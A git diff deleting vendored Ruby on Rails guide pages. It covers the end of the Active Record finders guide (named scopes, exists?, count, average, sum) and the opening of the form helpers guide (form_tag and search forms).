-  named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>created_at <span style="color: #990000">&gt;</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This looks like a standard named scope that defines a method called recent which gathers all records created any time between now and 2 weeks ago. That's correct for the first time the model is loaded but for any time after that, <tt>2.weeks.ago</tt> is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> lambda <span style="color: #FF0000">{</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>And now every time the recent named scope is called, the code in the lambda block will be parsed, so you'll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded.</p></div>
-<h3 id="_named_scopes_with_multiple_models">17.4. Named Scopes with Multiple Models</h3>
-<div class="para"><p>In a named scope you can use <tt>:include</tt> and <tt>:joins</tt> options just like in find.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  named_scope <span style="color: #990000">:</span>active_within_2_weeks<span style="color: #990000">,</span> <span style="color: #990000">:</span>joins <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>order<span style="color: #990000">,</span>
-    lambda <span style="color: #FF0000">{</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"orders.created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This method, called as <tt>Client.active_within_2_weeks.all</tt>, will return all clients who have placed orders in the past 2 weeks.</p></div>
-<h3 id="_arguments_to_named_scopes">17.5. Arguments to Named Scopes</h3>
-<div class="para"><p>If you want to pass a named scope a compulsory argument, just specify it as a block parameter like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> lambda <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>time<span style="color: #990000">|</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> time<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will work if you call <tt>Client.recent(2.weeks.ago).all</tt> but not if you call <tt>Client.recent</tt>. If you want to add an optional argument for this, you have to use the splat operator as the block's parameter.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> lambda <span style="color: #FF0000">{</span> <span style="color: #990000">|*</span>args<span style="color: #990000">|</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> args<span style="color: #990000">.</span>first <span style="color: #990000">||</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will work with <tt>Client.recent(2.weeks.ago).all</tt> and <tt>Client.recent.all</tt>, with the latter always returning records with a created_at date between right now and 2 weeks ago.</p></div>
-<div class="para"><p>Remember that named scopes are stackable, so you will be able to do <tt>Client.recent(2.weeks.ago).unlocked.all</tt> to find all clients created between right now and 2 weeks ago and have their locked field set to false.</p></div>
-<h3 id="_anonymous_scopes">17.6. Anonymous Scopes</h3>
-<div class="para"><p>All Active Record models come with a named scope named <tt>scoped</tt>, which allows you to create anonymous scopes. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>recent
-    scoped <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Anonymous scopes are most useful to create scopes "on the fly":</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>scoped<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>gender <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"male"</span> <span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>Just like named scopes, anonymous scopes can be stacked, either with other anonymous scopes or with regular named scopes.</p></div>
-</div>
-<h2 id="_existence_of_objects">18. Existence of Objects</h2>
-<div class="sectionbody">
-<div class="para"><p>If you simply want to check for the existence of the object there's a method called <tt>exists?</tt>. This method will query the database using the same query as find, but instead of returning an object or collection of objects it will return either true or false.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>exists?<span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>The above code will check for the existence of a clients table record with the id of 1 and return true if it exists.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>exists?<span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">,</span><span style="color: #993399">3</span><span style="color: #990000">)</span>
-<span style="font-style: italic"><span style="color: #9A1900"># or</span></span>
-Client<span style="color: #990000">.</span>exists?<span style="color: #990000">([</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">,</span><span style="color: #993399">3</span><span style="color: #990000">])</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>exists?</tt> method also takes multiple ids, as shown by the above code, but the catch is that it will return true if any one of those records exists.</p></div>
-<div class="para"><p>Further more, <tt>exists</tt> takes a <tt>conditions</tt> option much like find:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>exists?<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"first_name = 'Ryan'"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-</div>
-<h2 id="_calculations">19. Calculations</h2>
-<div class="sectionbody">
-<div class="para"><p>This section uses count as an example method in this preamble, but the options described apply to all sub-sections.</p></div>
-<div class="para"><p><tt>count</tt> takes conditions much in the same way <tt>exists?</tt> does:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>count<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"first_name = 'Ryan'"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>Which will execute:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> count<span style="color: #990000">(*)</span> <span style="font-weight: bold"><span style="color: #0000FF">AS</span></span> count_all <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #990000">+</span>clients<span style="color: #990000">+</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>first_name <span style="color: #990000">=</span> <span style="color: #993399">1</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>You can also use <tt>include</tt> or <tt>joins</tt> for this to do something a little more complex:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>count<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"clients.first_name = 'Ryan' AND orders.status = 'received'"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>Which will execute:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> count<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">DISTINCT</span></span> <span style="color: #990000">+</span>clients<span style="color: #990000">+.</span>id<span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">AS</span></span> count_all <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #990000">+</span>clients<span style="color: #990000">+</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">LEFT</span></span> <span style="font-weight: bold"><span style="color: #0000FF">OUTER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">JOIN</span></span> <span style="color: #990000">+</span>orders<span style="color: #990000">+</span> <span style="font-weight: bold"><span style="color: #0000FF">ON</span></span> orders<span style="color: #990000">.</span>client_id <span style="color: #990000">=</span> client<span style="color: #990000">.</span>id <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span>
-  <span style="color: #990000">(</span>clients<span style="color: #990000">.</span>first_name <span style="color: #990000">=</span> <span style="color: #FF0000">'name'</span> <span style="font-weight: bold"><span style="color: #0000FF">AND</span></span> orders<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">status</span></span> <span style="color: #990000">=</span> <span style="color: #FF0000">'received'</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>This code specifies <tt>clients.first_name</tt> just in case one of the join tables has a field also called <tt>first_name</tt> and it uses <tt>orders.status</tt> because that's the name of our join table.</p></div>
-<h3 id="_count">19.1. Count</h3>
-<div class="para"><p>If you want to see how many records are in your model's table you could call <tt>Client.count</tt> and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use <tt>Client.count(:age)</tt>.</p></div>
-<div class="para"><p>For options, please see the parent section, Calculations.</p></div>
-<h3 id="_average">19.2. Average</h3>
-<div class="para"><p>If you want to see the average of a certain number in one of your tables you can call the <tt>average</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>average<span style="color: #990000">(</span><span style="color: #FF0000">"orders_count"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.</p></div>
-<div class="para"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a></p></div>
-<h3 id="_minimum">19.3. Minimum</h3>
-<div class="para"><p>If you want to find the minimum value of a field in your table you can call the <tt>minimum</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>minimum<span style="color: #990000">(</span><span style="color: #FF0000">"age"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a></p></div>
-<h3 id="_maximum">19.4. Maximum</h3>
-<div class="para"><p>If you want to find the maximum value of a field in your table you can call the <tt>maximum</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>maximum<span style="color: #990000">(</span><span style="color: #FF0000">"age"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a></p></div>
-<h3 id="_sum">19.5. Sum</h3>
-<div class="para"><p>If you want to find the sum of a field for all records in your table you can call the <tt>sum</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>sum<span style="color: #990000">(</span><span style="color: #FF0000">"orders_count"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>For options, please see the parent section,  <a href="#_calculations">Calculations</a></p></div>
-</div>
-<h2 id="_credits">20. Credits</h2>
-<div class="sectionbody">
-<div class="para"><p>Thanks to Ryan Bates for his awesome screencast on named scope #108. The information within the named scope section is intentionally similar to it, and without the cast may have not been possible.</p></div>
-<div class="para"><p>Thanks to Mike Gunderloy for his tips on creating this guide.</p></div>
-</div>
-<h2 id="_changelog">21. Changelog</h2>
-<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-November 8, 2008: Editing pass by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> . First release version.
-</p>
-</li>
-<li>
-<p>
-October 27, 2008: Added scoped section, added named params for conditions and added sub-section headers for conditions section by Ryan Bigg
-</p>
-</li>
-<li>
-<p>
-October 27, 2008: Fixed up all points specified in <a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16-activerecord-finders#ticket-16-6">this comment</a> with an exception of the final point by Ryan Bigg
-</p>
-</li>
-<li>
-<p>
-October 26, 2008: Editing pass by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> . First release version.
-</p>
-</li>
-<li>
-<p>
-October 22, 2008: Calculations complete, first complete draft by Ryan Bigg
-</p>
-</li>
-<li>
-<p>
-October 21, 2008: Extended named scope section by Ryan Bigg
-</p>
-</li>
-<li>
-<p>
-October 9, 2008: Lock, count, cleanup by Ryan Bigg
-</p>
-</li>
-<li>
-<p>
-October 6, 2008: Eager loading by Ryan Bigg
-</p>
-</li>
-<li>
-<p>
-October 5, 2008: Covered conditions by Ryan Bigg
-</p>
-</li>
-<li>
-<p>
-October 1, 2008: Covered limit/offset, formatting changes by Ryan Bigg
-</p>
-</li>
-<li>
-<p>
-September 28, 2008: Covered first/last/all by Ryan Bigg
-</p>
-</li>
-</ul></div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/form_helpers.html b/vendor/rails/railties/doc/guides/html/form_helpers.html
deleted file mode 100644
index 7ff4a13a..00000000
--- a/vendor/rails/railties/doc/guides/html/form_helpers.html
+++ /dev/null
@@ -1,638 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>Rails form helpers</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header" >
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container">
-		
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<ol>
-					<li>
-					<a href="#_basic_forms">Basic forms</a>
-						<ul>
-						
-							<li><a href="#_generic_search_form">Generic search form</a></li>
-						
-							<li><a href="#_multiple_hashes_in_form_helper_attributes">Multiple hashes in form helper attributes</a></li>
-						
-							<li><a href="#_checkboxes_radio_buttons_and_other_controls">Checkboxes, radio buttons and other controls</a></li>
-						
-							<li><a href="#_how_do_forms_with_put_or_delete_methods_work">How do forms with PUT or DELETE methods work?</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_forms_that_deal_with_model_attributes">Forms that deal with model attributes</a>
-						<ul>
-						
-							<li><a href="#_relying_on_record_identification">Relying on record identification</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_making_select_boxes_with_ease">Making select boxes with ease</a>
-						<ul>
-						
-							<li><a href="#_the_select_tag_and_options">The select tag and options</a></li>
-						
-							<li><a href="#_select_boxes_for_dealing_with_models">Select boxes for dealing with models</a></li>
-						
-						</ul>
-					</li>
-			</ol>
-		</div>
-		
-		<div id="content">
-				<h1>Rails form helpers</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.</p></div>
-<div class="para"><p>In this guide we will:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Create search forms and similar kind of generic forms not representing any specific model in your application;
-</p>
-</li>
-<li>
-<p>
-Make model-centric forms for creation and editing of specific database records;
-</p>
-</li>
-<li>
-<p>
-Generate select boxes from multiple types of data;
-</p>
-</li>
-<li>
-<p>
-Learn what makes a file upload form different;
-</p>
-</li>
-<li>
-<p>
-Build complex, multi-model forms.
-</p>
-</li>
-</ul></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit <a href="http://api.rubyonrails.org/">the Rails API documentation</a> for a complete reference.</td>
-</tr></table>
-</div>
-</div>
-</div>
-<h2 id="_basic_forms">1. Basic forms</h2>
-<div class="sectionbody">
-<div class="para"><p>The most basic form helper is <tt>form_tag</tt>.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;% form_tag do %&gt;
-  Form contents
-&lt;% end %&gt;</tt></pre>
-</div></div>
-<div class="para"><p>When called without arguments like this, it creates a form element that has the current page for action attribute and "POST" as method (some line breaks added for readability):</p></div>
-<div class="listingblock">
-<div class="title">Example: Sample rendering of <tt>form_tag</tt></div>
-<div class="content">
-<pre><tt>&lt;form action="/home/index" method="post"&gt;
-  &lt;div style="margin:0;padding:0"&gt;
-    &lt;input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" /&gt;
-  &lt;/div&gt;
-  Form contents
-&lt;/form&gt;</tt></pre>
-</div></div>
-<div class="para"><p>If you carefully observe this output, you can see that the helper generated something we didn't specify: a <tt>div</tt> element with a hidden input inside. This is a security feature of Rails called <strong>cross-site request forgery protection</strong> and form helpers generate it for every form which action isn't "GET" (provided that this security feature is enabled).</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Throughout this guide, this <tt>div</tt> with the hidden input will be stripped away to have clearer code samples.</td>
-</tr></table>
-</div>
-<h3 id="_generic_search_form">1.1. Generic search form</h3>
-<div class="para"><p>Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of:</p></div>
-<div class="olist"><ol>
-<li>
-<p>
-a form element with "GET" method,
-</p>
-</li>
-<li>
-<p>
-a label for the input,
-</p>
-</li>
-<li>
-<p>
-a text input element, and
-</p>
-</li>
-<li>
-<p>
-a submit element.
-</p>
-</li>
-</ol></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/important.png" alt="Important" />
-</td>
-<td class="content">Always use "GET" as the method for search forms. Benefits are many: users are able to bookmark a specific search and get back to it; browsers cache results of "GET" requests, but not "POST"; and other.</td>
-</tr></table>
-</div>
-<div class="para"><p>To create that, we will use <tt>form_tag</tt>, <tt>label_tag</tt>, <tt>text_field_tag</tt> and <tt>submit_tag</tt>, respectively.</p></div>
-<div class="listingblock">
-<div class="title">Example: A basic search form</div>
-<div class="content">
-<pre><tt>&lt;% form_tag(search_path, :method =&gt; "get") do %&gt;
-  &lt;%= label_tag(:q, "Search for:") %&gt;
-  &lt;%= text_field_tag(:q) %&gt;
-  &lt;%= submit_tag("Search") %&gt;
-&lt;% end %&gt;</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">
-<div class="para"><p><tt>search_path</tt> can be a named route specified in "routes.rb":</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>map.search "search", :controller =&gt; "search"</tt></pre>
-</div></div>
-</td>
-</tr></table>
-</div>
-<div class="para"><p>The above view code will result in the following markup:</p></div>
-<div class="listingblock">
-<div class="title">Example: Search form HTML</div>
-<div class="content">
-<pre><tt>&lt;form action="/search" method="get"&gt;
-  &lt;label for="q"&gt;Search for:&lt;/label&gt;
-  &lt;input id="q" name="q" type="text" /&gt;
-  &lt;input name="commit" type="submit" value="Search" /&gt;
-&lt;/form&gt;</tt></pre>
-</div></div>
-<div class="para"><p>Besides <tt>text_field_tag</tt> and <tt>submit_tag</tt>, there is a similar helper for <em>every</em> form control in HTML.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">For every form input, an ID attribute is generated from its name ("q" in our example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.</td>
-</tr></table>
-</div>
-<h3 id="_multiple_hashes_in_form_helper_attributes">1.2. Multiple hashes in form helper attributes</h3>
-<div class="para"><p>By now we've seen that the <tt>form_tag</tt> helper accepts 2 arguments: the path for the action attribute and an options hash for parameters (like <tt>:method</tt>).</p></div>
-<div class="para"><p>Identical to the <tt>link_to</tt> helper, the path argument doesn't have to be given as string or a named route. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. Still, we cannot simply write this:</p></div>
-<div class="listingblock">
-<div class="title">Example: A bad way to pass multiple hashes as method arguments</div>
-<div class="content">
-<pre><tt>form_tag(:controller =&gt; "people", :action =&gt; "search", :method =&gt; "get")
-# =&gt; &lt;form action="/people/search?method=get" method="post"&gt;</tt></pre>
-</div></div>
-<div class="para"><p>Here we wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL that we didn't want. The solution is to delimit the first hash (or both hashes) with curly brackets:</p></div>
-<div class="listingblock">
-<div class="title">Example: The correct way of passing multiple hashes as arguments</div>
-<div class="content">
-<pre><tt>form_tag({:controller =&gt; "people", :action =&gt; "search"}, :method =&gt; "get")
-# =&gt; &lt;form action="/people/search" method="get"&gt;</tt></pre>
